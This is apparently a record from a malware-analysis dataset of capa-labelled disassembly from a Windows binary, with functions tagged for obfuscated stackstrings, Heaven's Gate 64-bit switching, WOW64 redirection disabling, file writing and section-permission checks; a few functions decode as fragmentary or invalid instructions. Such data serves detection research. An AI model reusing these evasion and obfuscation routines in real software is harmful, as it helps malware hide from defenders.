joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40be2c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, dword [ebp + 0xc]
lea eax, [eax*2 + 4]
push eax
call fcn.0040c65f
mov esi, eax
pop ecx
test esi, esi
je 0x40bf04
push ebx
push 0x6e
pop eax
push 0x74
mov word [ebp - 0x24], ax
pop eax
push 0x64
pop ecx
push 0x6c
pop edx
mov word [ebp - 0x22], ax
push 0x2e
pop eax
mov word [ebp - 0x1a], ax
xor eax, eax
mov dword [ebp - 0x12], eax
lea eax, [ebp - 0x24]
push eax
mov word [ebp - 0x20], cx
mov word [ebp - 0x1e], dx
mov word [ebp - 0x1c], dx
mov word [ebp - 0x18], cx
mov word [ebp - 0x16], dx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
test ebx, ebx
je 0x40bee9
mov eax, dword [0x418660]
mov dword [ebp - 0xc], 0x7773765f
mov dword [ebp - 8], 0x6e697270
mov word [ebp - 4], 0x6674
mov byte [ebp - 2], 0
test eax, eax
jne 0x40bef4
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x418660], eax
test eax, eax
jne 0x40bef4
lea eax, [ebp - 0xb]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x418660], eax
test eax, eax
jne 0x40bef4
push esi
call fcn.0040c676
pop ecx
xor eax, eax
jmp 0x40bf03
lea ecx, [ebp + 0x14]
push ecx
push dword [ebp + 8]
push esi
call eax
add esp, 0xc
mov eax, esi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40bf09
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push 0x8ad7de22
xor ebx, ebx
push 5
mov dword [ebp - 8], ebx
call fcn.004010bb
pop ecx
pop ecx
push 0xf0000000
push 1
push ebx
push ebx
lea ecx, [ebp - 4]
push ecx
call eax
test eax, eax
je 0x40bfbd
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], 0x70797243
push eax
mov dword [ebp - 0x24], 0x6e654774
mov dword [ebp - 0x20], 0x646e6152
mov word [ebp - 0x1c], 0x6d6f
mov byte [ebp - 0x1a], bl
mov dword [ebp - 0x18], 0x61766441
mov dword [ebp - 0x14], 0x32336970
mov dword [ebp - 0x10], 0x6c6c642e
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40bf8c
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40bfa6
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40bfa6
lea ecx, [ebp - 8]
push ecx
push 4
push dword [ebp - 4]
call eax
push esi
mov esi, dword [ebp - 4]
push 0x72760bb8
push 5
call fcn.004010bb
pop ecx
pop ecx
push ebx
push esi
call eax
pop esi
mov eax, dword [ebp - 8]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bfe5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
push 0x8ad7de22
push 5
xor edi, edi
call fcn.004010bb
pop ecx
pop ecx
push 0xf0000000
push 1
push edi
push edi
lea ecx, [ebp - 4]
push ecx
call eax
test eax, eax
je 0x40c12b
push 0x1a
xor ecx, ecx
pop edx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, edx
jb 0x40c01a
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x34]
lea eax, [esi + 1]
push eax
call fcn.00405dfc
push esi
lea ecx, [ebp - 0x34]
call fcn.00405e41
mov ebx, eax
test ebx, ebx
jne 0x40c068
mov esi, dword [ebp - 4]
push 0x72760bb8
push 5
call fcn.004010bb
pop ecx
pop ecx
push ebx
push esi
call eax
lea ecx, [ebp - 0x34]
call fcn.00405e30
xor eax, eax
jmp 0x40c12d
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], 0x70797243
push eax
mov dword [ebp - 0x20], 0x6e654774
mov dword [ebp - 0x1c], 0x646e6152
mov word [ebp - 0x18], 0x6d6f
mov byte [ebp - 0x16], 0
mov dword [ebp - 0x14], 0x61766441
mov dword [ebp - 0x10], 0x32336970
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40c0bc
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40c10d
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c10d
cmp dword [ebp + 0x10], edi
jne 0x40c0fd
push ebx
push esi
push dword [ebp - 4]
call eax
test eax, eax
je 0x40c10d
test esi, esi
je 0x40c10a
mov ecx, dword [ebp + 8]
sub ebx, ecx
push 0x1a
pop edi
movzx eax, byte [ebx + ecx]
xor edx, edx
div edi
mov al, byte [ebp + edx - 0x50]
mov byte [ecx], al
inc ecx
sub esi, 1
jne 0x40c0e7
jmp 0x40c10a
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call eax
test eax, eax
je 0x40c10d
xor edi, edi
inc edi
mov esi, dword [ebp - 4]
push 0x72760bb8
push 5
call fcn.004010bb
pop ecx
pop ecx
push 0
push esi
call eax
lea ecx, [ebp - 0x34]
call fcn.00405e30
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c134
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
push 0x8ad7de22
push 5
xor ebx, ebx
call fcn.004010bb
pop ecx
pop ecx
push 0xf0000000
push 1
push ebx
push ebx
lea ecx, [ebp - 4]
push ecx
call eax
test eax, eax
je 0x40c26c
push 0x1a
pop edx
xor ecx, ecx
mov dword [ebp - 8], edx
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x70], ax
inc ecx
cmp ecx, edx
jb 0x40c16c
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x38]
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
call fcn.00405dfc
push esi
lea ecx, [ebp - 0x38]
call fcn.00405e41
mov esi, eax
test esi, esi
jne 0x40c1bf
mov esi, dword [ebp - 4]
push 0x72760bb8
push 5
call fcn.004010bb
pop ecx
pop ecx
push 0
push esi
call eax
lea ecx, [ebp - 0x38]
call fcn.00405e30
xor eax, eax
jmp 0x40c26e
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], 0x70797243
push eax
mov dword [ebp - 0x24], 0x6e654774
mov dword [ebp - 0x20], 0x646e6152
mov word [ebp - 0x1c], 0x6d6f
mov byte [ebp - 0x1a], bl
mov dword [ebp - 0x18], 0x61766441
mov dword [ebp - 0x14], 0x32336970
mov dword [ebp - 0x10], 0x6c6c642e
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40c211
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40c24e
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c24e
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x40c24e
xor ecx, ecx
test edi, edi
je 0x40c24b
mov ebx, dword [ebp + 8]
movzx eax, byte [ecx + esi]
xor edx, edx
div dword [ebp - 8]
mov ax, word [ebp + edx*2 - 0x70]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x40c234
xor ebx, ebx
inc ebx
mov esi, dword [ebp - 4]
push 0x72760bb8
push 5
call fcn.004010bb
pop ecx
pop ecx
push 0
push esi
call eax
lea ecx, [ebp - 0x38]
call fcn.00405e30
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d0c4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
lea eax, [ebp - 0x2c]
push esi
push eax
push 0x18
pop esi
push esi
push dword [ebp + 8]
call dword [sym.imp.GDI32.dll_GetObjectW]
test eax, eax
je 0x40d274
mov eax, dword [ebp - 0x1a]
imul eax, dword [ebp - 0x1c]
push ebx
push edi
xor edi, edi
inc edi
movzx eax, ax
cmp ax, di
jne 0x40d0fc
mov ebx, edi
jmp 0x40d122
push 4
pop ebx
cmp ax, bx
jbe 0x40d122
push 8
pop ebx
cmp ax, bx
jbe 0x40d122
push 0x10
pop ebx
cmp ax, bx
jbe 0x40d122
cmp ax, si
ja 0x40d11f
mov ebx, esi
push 0x28
jmp 0x40d130
push 0x20
pop ebx
mov eax, edi
mov cl, bl
shl eax, cl
lea eax, [eax*4 + 0x28]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 0x18
mov dword [esi], 0x28
mov eax, dword [ebp - 0x28]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 8], eax
mov ax, word [ebp - 0x1c]
mov word [esi + 0xc], ax
mov ax, word [ebp - 0x1a]
mov word [esi + 0xe], ax
pop eax
cmp bx, ax
jae 0x40d16b
mov cl, bl
shl edi, cl
mov dword [esi + 0x20], edi
mov eax, dword [esi + 4]
xor edi, edi
add eax, 7
movzx ecx, bx
cdq
and edx, 7
mov dword [esi + 0x10], edi
add eax, edx
mov dword [esi + 0x24], edi
sar eax, 3
imul eax, ecx
imul eax, dword [esi + 8]
push eax
push edi
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40d272
movzx ecx, word [esi + 8]
push edi
push esi
push ebx
push ecx
push edi
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_GetDIBits]
test eax, eax
je 0x40d272
push edi
push 0x80
push 2
push edi
push edi
push 0xc0000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d272
mov eax, 0x4d42
mov word [ebp - 0x14], ax
mov edx, dword [esi + 0x20]
mov ecx, dword [esi + 0x14]
mov eax, dword [esi]
push 0
lea ecx, [ecx + edx*4]
add ecx, 0xe
add eax, ecx
mov dword [ebp - 0x12], eax
xor eax, eax
mov dword [ebp - 0xe], eax
mov ecx, dword [esi + 0x20]
mov eax, dword [esi]
lea eax, [eax + ecx*4]
add eax, 0xe
mov dword [ebp - 0xa], eax
lea eax, [ebp - 4]
push eax
push 0xe
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40d244
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x20]
lea eax, [eax*4 + 0x28]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40d247
push edi
jmp 0x40d25d
push 0
lea eax, [ebp - 4]
push eax
push dword [esi + 0x14]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x40d265
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40d272
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d296
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp + 0xc], eax
push dword [ebp + 0xc]
push dword [ebp - 4]
push 0x33
call fcn.0040d2c0
Function at 0x4105a2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0x6b
pop eax
push 0x65
pop edx
push 0x72
pop ecx
push 0x6e
mov word [ebp - 0x28], ax
pop eax
push 0x6c
mov word [ebp - 0x22], ax
pop eax
push 0x33
mov word [ebp - 0x1e], ax
pop eax
mov word [ebp - 0x1c], ax
push 0x32
pop eax
mov word [ebp - 0x1a], ax
xor eax, eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 6], al
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
mov word [ebp - 0x26], dx
push eax
mov word [ebp - 0x24], cx
mov word [ebp - 0x20], dx
mov dword [ebp - 0x14], 0x6f577349
mov dword [ebp - 0x10], 0x50343677
mov byte [ebp - 0xc], cl
mov word [ebp - 0xb], 0x636f
mov byte [ebp - 9], dl
mov word [ebp - 8], 0x7373
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4186b0], eax
test eax, eax
je 0x41063f
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x4186b0]
neg eax
sbb eax, eax
and eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x410643
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push 0x6b
pop eax
push 0x65
mov word [ebp - 0x14], ax
pop eax
push 0x72
pop edx
push 0x6e
pop ebx
push 0x6c
pop ecx
push 0x33
mov word [ebp - 0x12], ax
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 8], ax
push 0x32
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov dword [ebp - 4], eax
mov byte [ebp - 0x16], al
mov eax, dword [0x4186b4]
mov word [ebp - 0xe], bx
mov byte [ebp - 0x17], bl
mov word [ebp - 0x10], dx
mov word [ebp - 0xa], cx
mov dword [ebp - 0x34], 0x36776f57
mov dword [ebp - 0x30], 0x73694434
mov word [ebp - 0x2c], 0x6261
mov byte [ebp - 0x2a], cl
mov dword [ebp - 0x29], 0x776f5765
mov dword [ebp - 0x25], 0x73463436
mov dword [ebp - 0x21], 0x69646552
mov byte [ebp - 0x1d], dl
mov dword [ebp - 0x1c], 0x69746365
mov byte [ebp - 0x18], 0x6f
pop ebx
test eax, eax
jne 0x4106ec
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4186b4], eax
test eax, eax
je 0x4106f2
lea ecx, [ebp + 8]
push ecx
call eax
mov esp, ebp
pop ebp
ret

Function at 0x4106f6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
pushal
push 0
push dword [ebp + 8]
push 0x33
call 0x410709
add dword [esp], 5
retf

Function at 0x41073c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push ebx
cdq
push esi
push edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
pushal
push 0x33
call 0x41075f
add dword [esp], 5
retf
Function at 0x41085f
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push ebx
push esi
push edi
push dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
call fcn.00410c9f
and dword [ebp + 0xc], 0
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
cdq
pop ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 0x33
call 0x41089d
add dword [esp], 5
retf

Function at 0x410988
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push 0x6b
pop eax
push 0x65
pop ebx
push 0x72
pop ecx
push 0x6e
pop edx
push 0x6c
mov word [ebp - 0x14], ax
pop eax
push 0x33
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x32
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov dword [ebp - 4], eax
mov byte [ebp - 0x17], al
mov eax, dword [0x4186b8]
mov word [ebp - 0x12], bx
mov word [ebp - 0xc], bx
mov byte [ebp - 0x2e], bl
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x1d], bl
mov word [ebp - 0x10], cx
mov word [ebp - 0xe], dx
mov dword [ebp - 0x34], 0x36776f57
mov word [ebp - 0x30], 0x5234
mov byte [ebp - 0x2d], 0x76
mov byte [ebp - 0x2b], cl
mov dword [ebp - 0x2a], 0x776f5774
mov dword [ebp - 0x26], 0x73463436
mov byte [ebp - 0x22], 0x52
mov word [ebp - 0x20], 0x6964
mov byte [ebp - 0x1e], cl
mov dword [ebp - 0x1c], 0x6f697463
mov byte [ebp - 0x18], dl
pop ebx
test eax, eax
jne 0x410a39
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4186b8], eax
test eax, eax
je 0x410a3f
lea ecx, [ebp + 8]
push ecx
call eax
mov esp, ebp
pop ebp
ret
Function at 0x410a43
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x40
push ebx
push esi
xor esi, esi
push edi
test ecx, ecx
je 0x410a6d
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 4], eax
jmp 0x410a73
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
test ecx, ecx
je 0x410a8c
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0xc], eax
jmp 0x410a92
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
test ecx, ecx
je 0x410aab
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x410ab1
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
test ecx, ecx
je 0x410aca
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x410ad0
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, edx
mov dword [ebp - 0x40], esi
cdq
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x2c], edx
cdq
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp + 0xc], esp
and sp, 0xfff8
push 0x33
call 0x410b02
add dword [esp], 5
retf
Function at 0x410b6d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x40
push ebx
push esi
xor esi, esi
push edi
test ecx, ecx
je 0x410b97
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 4], eax
jmp 0x410b9d
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
test ecx, ecx
je 0x410bb6
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0xc], eax
jmp 0x410bbc
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
test ecx, ecx
je 0x410bd5
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x410bdb
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
test ecx, ecx
je 0x410bf4
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x410bfa
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, edx
mov dword [ebp - 0x40], esi
cdq
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x2c], edx
cdq
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp + 0xc], esp
and sp, 0xfff8
push 0x33
call 0x410c2c
add dword [esp], 5
retf
Function at 0x40c3f4
Capabilities:
Contain obfuscated stackstrings
Inspect section memory permissions

Disassembly:
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x40c403
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne fcn.0040c3f4
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.0040c1af
inc edx
test dword [ecx + ebp*8 - 0x73], edx
inc ebp
test al, 0x50
call fcn.0040c1bf
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.0040c174
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x40c49d
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
popal
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040c1af
sbb byte [ecx - 0x4c], 0x86
invalid

Function at 0x40c59c
Capabilities:
Contain obfuscated stackstrings
Inspect section memory permissions

Disassembly:
mov al, byte [0xa145c633]
mov byte cs:[ebp - 0x5e], 0x35
Function at 0x40c9e5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0040c1bf
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040c174
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040c1bf
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040c174
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040c1bf
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040c174
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0040c1af
or eax, 0x80ea2c7c
movsd dword es:[edi], dword [esi]
int3